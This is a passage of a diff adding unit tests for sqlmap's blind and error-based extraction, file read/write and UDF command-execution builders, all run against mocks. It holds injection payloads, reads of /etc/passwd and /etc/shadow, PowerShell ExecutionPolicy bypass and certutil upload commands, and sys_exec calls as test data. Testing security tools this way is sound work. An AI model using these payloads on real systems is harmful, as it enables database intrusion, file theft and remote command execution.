kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + emod.readInput = lambda *a, **k: (k.get("default") if k.get("default") is not None else (a[1] if len(a) > 1 else None)) + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + emod.inject.getValue = self._gv + emod.inject.checkBooleanExpression = self._cbe + emod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + kb.injection.data = self._saved_injection_data + + +class TestEntriesInference(_EntriesBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesInf() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_dump_table_inference_column_pivot(self): + # Blind dump (conf.direct=False, BOOLEAN available): a row count, then one + # value per (index, column). Assert the per-column pivoted values match. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + # data[index][column] -> value. 2 rows, columns id/name. + data = {0: {"id": "1", "name": "alice"}, 1: {"id": "2", "name": "bob"}} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "2" # row count + # MySQL blind cell query: 'SELECT FROM testdb.users ORDER BY ... + # LIMIT ,1'. The row index is the LIMIT offset; the column is the + # SELECT projection. + import re as _re + idx = int(_re.search(r"LIMIT\s+(\d+)\s*,\s*1", query).group(1)) + proj = query.split(" FROM ", 1)[0] + col = "name" if "name" in proj else "id" + return data[idx][col] + + emod.inject.getValue = gv + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_inference_empty_table(self): + # A zero row count in the inference path yields empty per-column value + # lists and no dbTableValues emission (dumpedTable stays effectively empty). + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + emod.inject.getValue = lambda query, *a, **k: ("0" if k.get("expected") == EXPECTED.INT else self.fail("must not fetch cells for empty table")) + e.dumpTable() + # count 0 => empty entries => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_inference_count_failure_skips(self): + # A non-numeric count in the inference path => the table is skipped with a + # warning, no values dumped. + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return None # count failed + self.fail("must not fetch cells when count failed") + + emod.inject.getValue = gv + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_error_engine.py b/tests/test_error_engine.py new file mode 100644 index 00000000000..d1323172978 --- /dev/null +++ b/tests/test_error_engine.py @@ -0,0 +1,117 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The error-based extraction engine (lib/techniques/error/use.py _oneShotErrorUse). + +Error-based SQLi coaxes the DBMS into emitting the target value inside an error +message, wrapped between two random delimiters (kb.chars.start/stop). The engine +fires the payload and pulls the value back out with a regex. We drive the REAL +_oneShotErrorUse against a mock oracle whose "error page" embeds a known secret +between those delimiters, and assert it recovers the value exactly - no live DBMS. + +Requires an error-technique injection context (kb.injection.data[...].vector with +[QUERY], plus the parameter context agent.payload needs). kb.errorChunkLength is +pre-set so the MySQL/MSSQL chunk-length probing loop is skipped. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.datatype import AttribDict +from lib.core.enums import PAYLOAD, PLACE +from lib.request.connect import Connect +import lib.techniques.error.use as eu + + +def _make_vector(): + d = AttribDict() + d.vector = "AND EXTRACTVALUE(1,CONCAT(0x7e,([QUERY]),0x7e))" + d.where = PAYLOAD.WHERE.ORIGINAL + d.comment = "" + d.prefix = "" + d.suffix = "" + return d + + +class TestOneShotErrorUse(unittest.TestCase): + def setUp(self): + self._saved = { + "conf.hexConvert": conf.get("hexConvert"), "conf.charset": conf.get("charset"), + "conf.hashDB": conf.get("hashDB"), "conf.parameters": conf.get("parameters"), + "conf.paramDict": conf.get("paramDict"), "conf.base64Parameter": conf.get("base64Parameter"), + "kb.errorChunkLength": kb.get("errorChunkLength"), "kb.testMode": kb.get("testMode"), + "kb.forceWhere": kb.get("forceWhere"), "kb.technique": kb.get("technique"), + "kb.inj": (kb.injection.place, kb.injection.parameter, kb.injection.data), + "qp": Connect.queryPage, + } + conf.hexConvert = False + conf.charset = None + conf.hashDB = None + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + conf.base64Parameter = () + kb.errorChunkLength = 0 + kb.testMode = False + kb.forceWhere = None + kb.injection.place = PLACE.GET + kb.injection.parameter = "id" + kb.technique = PAYLOAD.TECHNIQUE.ERROR + kb.injection.data = {PAYLOAD.TECHNIQUE.ERROR: _make_vector()} + set_dbms("MySQL") + + def tearDown(self): + conf.hexConvert = self._saved["conf.hexConvert"] + conf.charset = self._saved["conf.charset"] + conf.hashDB = self._saved["conf.hashDB"] + conf.parameters = self._saved["conf.parameters"] + conf.paramDict = self._saved["conf.paramDict"] + conf.base64Parameter = self._saved["conf.base64Parameter"] + kb.errorChunkLength = self._saved["kb.errorChunkLength"] + kb.testMode = self._saved["kb.testMode"] + kb.forceWhere = self._saved["kb.forceWhere"] + kb.technique = self._saved["kb.technique"] + kb.injection.place, kb.injection.parameter, kb.injection.data = self._saved["kb.inj"] + Connect.queryPage = self._saved["qp"] + eu.Request.queryPage = self._saved["qp"] + + def _extract(self, secret, page_template="XPATH syntax error: '%s%s%s'"): + def oracle(payload=None, content=False, raise404=True, **kwargs): + page = page_template % (kb.chars.start, secret, kb.chars.stop) + return (page, {}, 200) if content else True + + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + return eu._oneShotErrorUse("SELECT CONCAT(user())") + + def test_simple_value(self): + self.assertEqual(self._extract("root@localhost"), "root@localhost") + + def test_version_string(self): + self.assertEqual(self._extract("5.7.31-0ubuntu0.18.04.1-log"), "5.7.31-0ubuntu0.18.04.1-log") + + def test_value_with_symbols(self): + self.assertEqual(self._extract("a-b_c.d:e/f"), "a-b_c.d:e/f") + + def test_no_markers_returns_none(self): + def oracle(payload=None, content=False, raise404=True, **kwargs): + return ("a perfectly ordinary page with no error", {}, 200) if content else True + Connect.queryPage = staticmethod(oracle) + eu.Request.queryPage = staticmethod(oracle) + self.assertIsNone(eu._oneShotErrorUse("SELECT CONCAT(user())")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py new file mode 100644 index 00000000000..6eb4e6bcfe4 --- /dev/null +++ b/tests/test_filesystem.py @@ -0,0 +1,740 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the file-read/file-write/UDF-injection SQL & command builders: + + - plugins/generic/filesystem.py (encoding, INSERT/UPDATE query forging, + length probe, read/write dispatch) + - plugins/dbms/mssqlserver/filesystem.py + (debug.exe SCR script, BULK INSERT / + bin->hex extraction, PowerShell & + certutil base64 upload commands) + - lib/takeover/udf.py (sys_exec/sys_eval calls, CREATE FUNCTION + SQL for MySQL/PostgreSQL, remote-path + selection, UDF pruning) + +These methods are (near-)pure string builders given conf/kb plus the injection +layer. Each test drives the real method with inject.goStacked / inject.getValue +(and, for MSSQL, xpCmdshellWriteFile/execCmd) captured, and asserts the EXACT +SQL / command / encoded payload produced -- so a regression in the assembly +logic fails the test. No live target / network / DBMS involved. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.convert import encodeHex, encodeBase64, getText + + +# --------------------------------------------------------------------------- # +# shared base: snapshot/restore every global + monkeypatch these tests touch # +# --------------------------------------------------------------------------- # +class _FsBase(unittest.TestCase): + # subclasses set `target_modules` = list of modules whose inject.* we patch + target_modules = () + + # conf fields read by the methods under test + _CONF_KEYS = ("batch", "direct", "fileRead", "fileWrite", "filePath", + "commonFiles", "osPwn", "osCmd", "osShell", "regRead", + "regAdd", "regDel", "tmpPath", "shLib", "encoding") + _KB_KEYS = ("bruteMode", "binaryField", "fileReadMode") + + def setUp(self): + self._conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._kb = {k: kb.get(k) for k in self._KB_KEYS} + self._patched = [] # (obj, attr, original) + + conf.batch = True + conf.direct = True + kb.bruteMode = False + + def tearDown(self): + for obj, attr, orig in reversed(self._patched): + setattr(obj, attr, orig) + for k, v in self._conf.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + + def patch(self, obj, attr, value): + self._patched.append((obj, attr, getattr(obj, attr))) + setattr(obj, attr, value) + return value + + +# --------------------------------------------------------------------------- # +# plugins/generic/filesystem.py # +# --------------------------------------------------------------------------- # +class TestGenericFilesystem(_FsBase): + import plugins.generic.filesystem as module + + def _fs(self): + return self.module.Filesystem() + + # -- fileContentEncode ------------------------------------------------- # + def test_fileContentEncode_hex_single(self): + # single=True -> one element, 0x-prefixed, exact lower-case hex of bytes + out = self._fs().fileContentEncode(b"ABC", "hex", True) + self.assertEqual(out, ["0x414243"]) + + def test_fileContentEncode_base64_single(self): + out = self._fs().fileContentEncode(b"ABC", "base64", True) + self.assertEqual(out, ["'QUJD'"]) + + def test_fileContentEncode_hex_chunked(self): + # 4 bytes -> 8 hex chars; chunkSize=4 -> two 0x-prefixed chunks of 4 chars + out = self._fs().fileContentEncode(b"ABCD", "hex", False, chunkSize=4) + self.assertEqual(out, ["0x4142", "0x4344"]) + + def test_fileContentEncode_base64_chunked(self): + # "ABCD" -> base64 "QUJDRA==" (8 chars); chunkSize=4 -> two quoted chunks + out = self._fs().fileContentEncode(b"ABCD", "base64", False, chunkSize=4) + self.assertEqual(out, ["'QUJD'", "'RA=='"]) + + def test_fileContentEncode_chunk_below_threshold_is_single(self): + # content shorter than chunkSize, single=False -> still one 0x chunk + out = self._fs().fileContentEncode(b"AB", "hex", False, chunkSize=256) + self.assertEqual(out, ["0x4142"]) + + def test_fileEncode_reads_then_encodes(self): + # fileEncode must read the file bytes and delegate to fileContentEncode + path = os.path.join( + tempfile.gettempdir(), "sqlmap_fe_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"hello") + try: + out = self._fs().fileEncode(path, "hex", True) + finally: + os.remove(path) + self.assertEqual(out, ["0x%s" % getText(encodeHex(b"hello"))]) + self.assertEqual(out, ["0x68656c6c6f"]) + + # -- fileToSqlQueries -------------------------------------------------- # + def test_fileToSqlQueries_insert_then_concat_update(self): + # first chunk -> INSERT; subsequent -> UPDATE using the DBMS concatenate + # template (MySQL: CONCAT(field, chunk)). + set_dbms("MySQL") + fs = self._fs() + queries = fs.fileToSqlQueries(["0x4142", "0x4344", "0x4546"]) + tbl, fld = fs.fileTblName, fs.tblField + self.assertEqual(queries[0], + "INSERT INTO %s(%s) VALUES (0x4142)" % (tbl, fld)) + self.assertEqual(queries[1], + "UPDATE %s SET %s=CONCAT(%s,0x4344)" % (tbl, fld, fld)) + self.assertEqual(queries[2], + "UPDATE %s SET %s=CONCAT(%s,0x4546)" % (tbl, fld, fld)) + + # -- _checkFileLength -------------------------------------------------- # + def test_checkFileLength_mysql_query_and_samefile(self): + # MySQL builds LENGTH(LOAD_FILE('')) and compares to local size. + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"12345") # 5 bytes + captured = {} + + def getValue(query, *a, **k): + captured["query"] = query + return "5" + + self.patch(self.module.inject, "getValue", getValue) + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + self.assertEqual(captured["query"], + "LENGTH(LOAD_FILE('/etc/passwd'))") + self.assertIs(same, True) + + def test_checkFileLength_size_differs(self): + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl2_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"12345") # local 5 + self.patch(self.module.inject, "getValue", lambda q, *a, **k: "9") + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + # remote 9 != local 5 -> not the same file + self.assertIs(same, False) + + def test_checkFileLength_mssql_openrowset_stacked(self): + # MSSQL path issues an OPENROWSET BULK INSERT then DATALENGTH probe. + # createSupportTbl lives in the misc mixin; stub it on a subclass so the + # OPENROWSET-building branch runs in isolation. + set_dbms("Microsoft SQL Server") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl3_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"ABCD") # 4 bytes + stacked = [] + + class FS(self.module.Filesystem): + def createSupportTbl(self, *a, **k): + pass + + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + self.patch(self.module.inject, "getValue", lambda q, *a, **k: "4") + fs = FS() + try: + same = fs._checkFileLength(path, "C:\\boot.ini") + finally: + os.remove(path) + tbl, fld = fs.fileTblName, fs.tblField + # createSupportTbl DROP+CREATE, then the OPENROWSET insert + insert = ("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK " + "'C:\\boot.ini', SINGLE_BLOB) AS %s(%s)" + % (tbl, fld, fld, tbl, fld)) + self.assertIn(insert, stacked) + self.assertIs(same, True) + + def test_checkFileLength_not_written_warns_false(self): + # non-positive remote size -> treated as "not written" -> sameFile False + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_cl4_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"x") + self.patch(self.module.inject, "getValue", lambda q, *a, **k: None) + try: + same = self._fs()._checkFileLength(path, "/etc/passwd") + finally: + os.remove(path) + self.assertIs(same, False) + + # -- readFile ---------------------------------------------------------- # + def test_readFile_decodes_hex_and_writes(self): + # Drive the generic readFile orchestration with a stubbed stackedReadFile + # returning canned hex; assert the bytes handed to dataToOutFile are the + # decoded content (raw bytes), and the remote name is passed through. + set_dbms("MySQL") + written = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + pass + + def stackedReadFile(self, remoteFile): + return encodeHex(b"secret-data", binary=False) + + def askCheckReadFile(self, localFile, remoteFile): + return None + + def grab(name, data): + written["d"] = (name, data) + return "/out/path" + + self.patch(self.module, "dataToOutFile", grab) + out = FS().readFile("/etc/shadow") + self.assertEqual(written["d"][0], "/etc/shadow") + self.assertEqual(written["d"][1], b"secret-data") + self.assertEqual(out, ["/out/path"]) + + def test_readFile_listlike_chunks_joined(self): + # list-of-chunks return value gets flattened before hex-decoding + set_dbms("MySQL") + written = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + pass + + def stackedReadFile(self, remoteFile): + # two chunks (each a 1-element list, as inject.getValue returns) + return [[encodeHex(b"AB", binary=False)], + [encodeHex(b"CD", binary=False)]] + + def askCheckReadFile(self, localFile, remoteFile): + return True + + def grab(name, data): + written["d"] = data + return "/out" + + self.patch(self.module, "dataToOutFile", grab) + out = FS().readFile("/f") + self.assertEqual(written["d"], b"ABCD") + # askCheckReadFile True -> suffix annotation + self.assertEqual(out, ["/out (same file)"]) + + # -- writeFile dispatch ------------------------------------------------ # + def test_writeFile_dispatches_to_stacked(self): + # With stacking available (conf.direct True), writeFile must route to + # stackedWriteFile and return its result. + set_dbms("MySQL") + path = os.path.join( + tempfile.gettempdir(), "sqlmap_wf_%d.bin" % os.getpid()) + with open(path, "wb") as f: + f.write(b"data") + calls = {} + + class FS(self.module.Filesystem): + def checkDbmsOs(self): + pass + + def cleanup(self, *a, **k): + calls["cleanup"] = True + + def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + calls["args"] = (localFile, remoteFile, fileType, forceCheck) + return True + + try: + res = FS().writeFile(path, "/var/www/x", "text", forceCheck=True) + finally: + os.remove(path) + self.assertIs(res, True) + self.assertEqual(calls["args"], (path, "/var/www/x", "text", True)) + self.assertTrue(calls["cleanup"]) + + +# --------------------------------------------------------------------------- # +# plugins/dbms/mssqlserver/filesystem.py # +# --------------------------------------------------------------------------- # +class TestMSSQLFilesystem(_FsBase): + import plugins.dbms.mssqlserver.filesystem as module + + def _handler(self): + from plugins.dbms.mssqlserver import MSSQLServerMap + set_dbms("Microsoft SQL Server") + return MSSQLServerMap() + + # -- _dataToScr (debug.exe script) ------------------------------------- # + def test_dataToScr_header_and_hex_bytes(self): + fs = self._handler() + lines = fs._dataToScr(b"AB", "chunk1") + # header: name / rcx / size(hex) / fill + self.assertEqual(lines[0], "n chunk1") + self.assertEqual(lines[1], "rcx") + self.assertEqual(lines[2], "%x" % 2) # size = 2 bytes + self.assertEqual(lines[3], "f 0100 %x 00" % 2) + # the data 'e' line: base addr 0x100, hex of 'A'(41) and 'B'(42) + self.assertEqual(lines[4], "e 100 41 42") + self.assertEqual(lines[-2], "w") + self.assertEqual(lines[-1], "q") + + def test_dataToScr_wraps_lines_and_advances_address(self): + # lineLen=20, so 21 bytes -> two 'e' lines; second starts at 0x100+20=0x114 + fs = self._handler() + content = bytes(bytearray(range(21))) # 21 bytes 0x00..0x14 + lines = fs._dataToScr(content, "c") + eLines = [ln for ln in lines if ln.startswith("e ")] + self.assertEqual(len(eLines), 2) + self.assertTrue(eLines[0].startswith("e 100 00 01 02")) + # 20 bytes consumed -> next address 0x100+0x14 = 0x114 + self.assertTrue(eLines[1].startswith("e 114 14")) + + # -- stackedReadFile (BULK INSERT + bin->hex extraction) --------------- # + def test_stackedReadFile_builds_bulk_insert_and_decodes(self): + fs = self._handler() + stacked = [] + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + + # UNION available -> single getValue returns the hex content directly + def getValue(query, *a, **k): + return encodeHex(b"file-bytes", binary=False) + + self.patch(self.module.inject, "getValue", getValue) + self.patch(self.module, "isTechniqueAvailable", lambda *a, **k: True) + + result = fs.stackedReadFile("C:\\secret.txt") + + # the BULK INSERT statement loading the file into the support table + bulk = [q for q in stacked if q.startswith("BULK INSERT ")] + self.assertEqual(len(bulk), 1) + self.assertIn("FROM 'C:\\secret.txt'", bulk[0]) + self.assertIn("CODEPAGE='RAW'", bulk[0]) + # the bin->hex conversion routine must reference the 0..F charset + binhex = [q for q in stacked if "0123456789ABCDEF" in q] + self.assertEqual(len(binhex), 1) + self.assertIn("DATALENGTH", binhex[0]) + # result is the raw hex string returned by getValue + self.assertEqual(result, encodeHex(b"file-bytes", binary=False)) + + def test_stackedReadFile_chunked_when_no_union(self): + # No UNION technique -> COUNT(*) then per-row TOP-1 retrieval into a list + fs = self._handler() + self.patch(self.module.inject, "goStacked", lambda q, *a, **k: None) + self.patch(self.module, "isTechniqueAvailable", lambda *a, **k: False) + + chunks = ["41", "42"] + + def getValue(query, *a, **k): + if query.startswith("SELECT COUNT(*)"): + return "2" + # the per-index extraction query + if "NOT IN (SELECT TOP" in query: + return chunks.pop(0) + return None + + self.patch(self.module.inject, "getValue", getValue) + result = fs.stackedReadFile("C:\\x") + self.assertEqual(result, ["41", "42"]) + + # -- unionWriteFile is explicitly unsupported -------------------------- # + def test_unionWriteFile_unsupported(self): + from lib.core.exception import SqlmapUnsupportedFeatureException + fs = self._handler() + self.assertRaises(SqlmapUnsupportedFeatureException, + fs.unionWriteFile, "a", "b", "binary") + + # -- _stackedWriteFilePS (PowerShell base64) --------------------------- # + def test_stackedWriteFilePS_uploads_base64_and_builds_ps(self): + fs = self._handler() + writes = [] + cmds = [] + self.patch(fs, "xpCmdshellWriteFile", + lambda content, path, name: writes.append((content, name))) + self.patch(fs, "execCmd", lambda cmd: cmds.append(cmd)) + + fs._stackedWriteFilePS("C:\\Windows\\Temp", b"payload", + "C:\\out.exe", "binary") + + expected_b64 = encodeBase64(b"payload", binary=False) + # the base64 payload goes to the .txt file; the .ps1 holds the decoder. + uploaded = "".join(c for c, name in writes if name.endswith(".txt")) + self.assertEqual(uploaded, expected_b64) + # the powershell command line: ByPass + reference to the .ps1 script + self.assertEqual(len(cmds), 1) + self.assertIn("powershell -ExecutionPolicy ByPass -File", cmds[0]) + + def test_stackedWriteFilePS_script_decodes_to_remote(self): + # Assert the PS script body contains the FromBase64String + Set-Content + # targeting the exact remote file path. + fs = self._handler() + script = {} + + def grab(content, path, name): + if name.endswith(".ps1"): + script["body"] = content + + self.patch(fs, "xpCmdshellWriteFile", grab) + self.patch(fs, "execCmd", lambda cmd: None) + fs._stackedWriteFilePS("C:\\T", b"abc", "C:\\target.dll", "binary") + self.assertIn("[System.Convert]::FromBase64String($Base64)", script["body"]) + self.assertIn('Set-Content -Path "C:\\target.dll"', script["body"]) + + # -- _stackedWriteFileCertutilExe (certutil base64) -------------------- # + def test_stackedWriteFileCertutil_splits_b64_and_decodes(self): + fs = self._handler() + writes = [] + cmds = [] + self.patch(fs, "xpCmdshellWriteFile", + lambda content, path, name: writes.append(content)) + self.patch(fs, "execCmd", lambda cmd: cmds.append(cmd)) + + # >500 chars of base64 so the splitter actually wraps lines + content = b"Z" * 600 + fs._stackedWriteFileCertutilExe("C:\\T", "local", content, + "C:\\out.bin", "binary") + + b64 = encodeBase64(content, binary=False) + # uploaded text == base64 rejoined on newline at 500-char boundaries + uploaded = writes[0] + self.assertEqual(uploaded.replace("\n", ""), b64) + self.assertEqual(uploaded.split("\n")[0], b64[:500]) + # certutil -decode command targeting the remote file + self.assertEqual(len(cmds), 1) + self.assertIn("certutil -f -decode", cmds[0]) + self.assertIn("C:\\out.bin", cmds[0]) + + +# --------------------------------------------------------------------------- # +# lib/takeover/udf.py (+ MySQL/PostgreSQL CREATE FUNCTION overrides) # +# --------------------------------------------------------------------------- # +class TestUDF(_FsBase): + import lib.takeover.udf as module + + def _udf(self): + u = self.module.UDF() + u.cmdTblName = "cmdtbl" + u.tblField = "data" + return u + + # -- udfForgeCmd ------------------------------------------------------- # + def test_udfForgeCmd_wraps_quotes(self): + u = self._udf() + self.assertEqual(u.udfForgeCmd("whoami"), "'whoami'") + # already partially quoted -> not doubled + self.assertEqual(u.udfForgeCmd("'whoami"), "'whoami'") + self.assertEqual(u.udfForgeCmd("whoami'"), "'whoami'") + + def _escaped(self, u, cmd): + # mirror udfExecCmd's argument preparation: forge then escape via the + # active DBMS unescaper. (The escaper may hex-encode the literal; we want + # to assert the SELECT wrapping/udf-name wiring, not re-test escaping.) + return self.module.unescaper.escape(u.udfForgeCmd(cmd)) + + # -- udfExecCmd -------------------------------------------------------- # + def test_udfExecCmd_builds_select_call(self): + set_dbms("MySQL") + u = self._udf() + captured = {} + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: captured.setdefault("q", q)) + u.udfExecCmd("id") + # default udfName is sys_exec; arg is the forged+escaped command + self.assertEqual(captured["q"], + "SELECT sys_exec(%s)" % self._escaped(u, "id")) + + def test_udfExecCmd_custom_udf_name(self): + set_dbms("MySQL") + u = self._udf() + captured = {} + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: captured.setdefault("q", q)) + u.udfExecCmd("id", udfName="my_fn") + self.assertEqual(captured["q"], + "SELECT my_fn(%s)" % self._escaped(u, "id")) + + # -- udfEvalCmd -------------------------------------------------------- # + def test_udfEvalCmd_direct_joins_lines(self): + # conf.direct -> uses udfExecCmd output, converting \r to \n + set_dbms("MySQL") + conf.direct = True + u = self._udf() + self.patch(self.module.inject, "goStacked", + lambda q, silent=False: ["foo\rbar", "baz"]) + out = u.udfEvalCmd("id") + self.assertEqual(out, "foo\nbarbaz") + + def test_udfEvalCmd_stacked_insert_select_delete(self): + # non-direct -> INSERT via UDF, SELECT back, then DELETE + set_dbms("MySQL") + conf.direct = False + u = self._udf() + stacked = [] + self.patch(self.module.inject, "goStacked", + lambda q, *a, **k: stacked.append(q)) + self.patch(self.module.inject, "getValue", + lambda q, *a, **k: "RESULT") + out = u.udfEvalCmd("id", udfName="sys_eval") + self.assertEqual( + stacked[0], + "INSERT INTO cmdtbl(data) VALUES (sys_eval(%s))" + % self._escaped(u, "id")) + self.assertEqual(stacked[1], "DELETE FROM cmdtbl") + self.assertEqual(out, "RESULT") + + # -- udfCheckNeeded (pruning of the sys UDF set) ----------------------- # + def test_udfCheckNeeded_prunes_unrequested_udfs(self): + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = { + "sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}, + } + # nothing requested -> everything irrelevant gets popped + conf.fileRead = conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertEqual(u.sysUdfs, {}) + + def test_udfCheckNeeded_keeps_exec_for_oscmd(self): + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = { + "sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}, + } + conf.fileRead = conf.commonFiles = None + conf.osPwn = False + conf.osCmd = True # requests command exec + conf.osShell = conf.regRead = conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + # sys_eval & sys_exec retained; fileread/bineval pruned + self.assertIn("sys_eval", u.sysUdfs) + self.assertIn("sys_exec", u.sysUdfs) + self.assertNotIn("sys_fileread", u.sysUdfs) + self.assertNotIn("sys_bineval", u.sysUdfs) + + def test_udfCheckNeeded_keeps_fileread_for_pgsql_fileread(self): + # sys_fileread is retained ONLY when a file read is requested AND the + # back-end is PostgreSQL (per the explicit DBMS.PGSQL guard). + set_dbms("PostgreSQL") + u = self._udf() + u.sysUdfs = {"sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}} + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertIn("sys_fileread", u.sysUdfs) + + def test_udfCheckNeeded_drops_fileread_for_mysql_fileread(self): + # On MySQL the same file-read request still prunes sys_fileread (the + # guard keeps it only for PostgreSQL). + set_dbms("MySQL") + u = self._udf() + u.sysUdfs = {"sys_fileread": {}, "sys_bineval": {}, + "sys_eval": {}, "sys_exec": {}} + conf.fileRead = "/etc/passwd" + conf.commonFiles = None + conf.osPwn = conf.osCmd = conf.osShell = conf.regRead = False + conf.regAdd = conf.regDel = False + u.udfCheckNeeded() + self.assertNotIn("sys_fileread", u.sysUdfs) + + # -- udfCheckAndOverwrite --------------------------------------------- # + def test_udfCheckAndOverwrite_new_udf_scheduled(self): + # UDF does not exist -> no overwrite prompt -> scheduled for creation + set_dbms("MySQL") + u = self._udf() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: False) + u.udfCheckAndOverwrite("sys_eval") + self.assertIn("sys_eval", u.udfToCreate) + + def test_udfCheckAndOverwrite_existing_no_overwrite(self): + # UDF exists and user declines overwrite -> NOT scheduled + set_dbms("MySQL") + u = self._udf() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: True) + self.patch(u, "_askOverwriteUdf", lambda udf: False) + u.udfCheckAndOverwrite("sys_eval") + self.assertNotIn("sys_eval", u.udfToCreate) + + # -- udfInjectCore ----------------------------------------------------- # + def test_udfInjectCore_uploads_and_creates(self): + # Drive the full inject orchestration with the file write succeeding: + # every requested UDF must end up created and the support table built. + set_dbms("MySQL") + calls = {"created": [], "supportType": None} + + class U(self.module.UDF): + def __init__(self): + super(U, self).__init__() + self.cmdTblName = "cmdtbl" + self.tblField = "data" + self.udfLocalFile = __file__ # any existing file (checkFile passes) + self.udfRemoteFile = "/tmp/lib.so" + + def udfSetRemotePath(self): + pass + + def writeFile(self, localFile, remoteFile, fileType, forceCheck=False): + calls["write"] = (remoteFile, fileType, forceCheck) + return True + + def udfCreateFromSharedLib(self, udf, inpRet): + calls["created"].append(udf) + self.createdUdf.add(udf) + + def udfCreateSupportTbl(self, dataType): + calls["supportType"] = dataType + + u = U() + self.patch(self.module.inject, "getValue", lambda q, *a, **k: False) + result = u.udfInjectCore({"sys_eval": {"return": "string"}}) + self.assertIs(result, True) + # binary upload forced; remote path threaded through + self.assertEqual(calls["write"], ("/tmp/lib.so", "binary", True)) + self.assertEqual(calls["created"], ["sys_eval"]) + # MySQL support table uses longtext + self.assertEqual(calls["supportType"], "longtext") + + def test_udfInjectCore_noop_when_all_already_created(self): + # If every UDF is already created, nothing is uploaded and it returns True + set_dbms("MySQL") + + class U(self.module.UDF): + def writeFile(self, *a, **k): + raise AssertionError("writeFile must not be called") + + u = U() + u.createdUdf = {"sys_eval"} + result = u.udfInjectCore({"sys_eval": {"return": "string"}}) + self.assertIs(result, True) + self.assertEqual(u.udfToCreate, set()) + + # -- MySQL udfCreateFromSharedLib (CREATE FUNCTION ... SONAME) --------- # + def test_mysql_udfCreateFromSharedLib_sql(self): + import plugins.dbms.mysql.takeover as mod + set_dbms("MySQL") 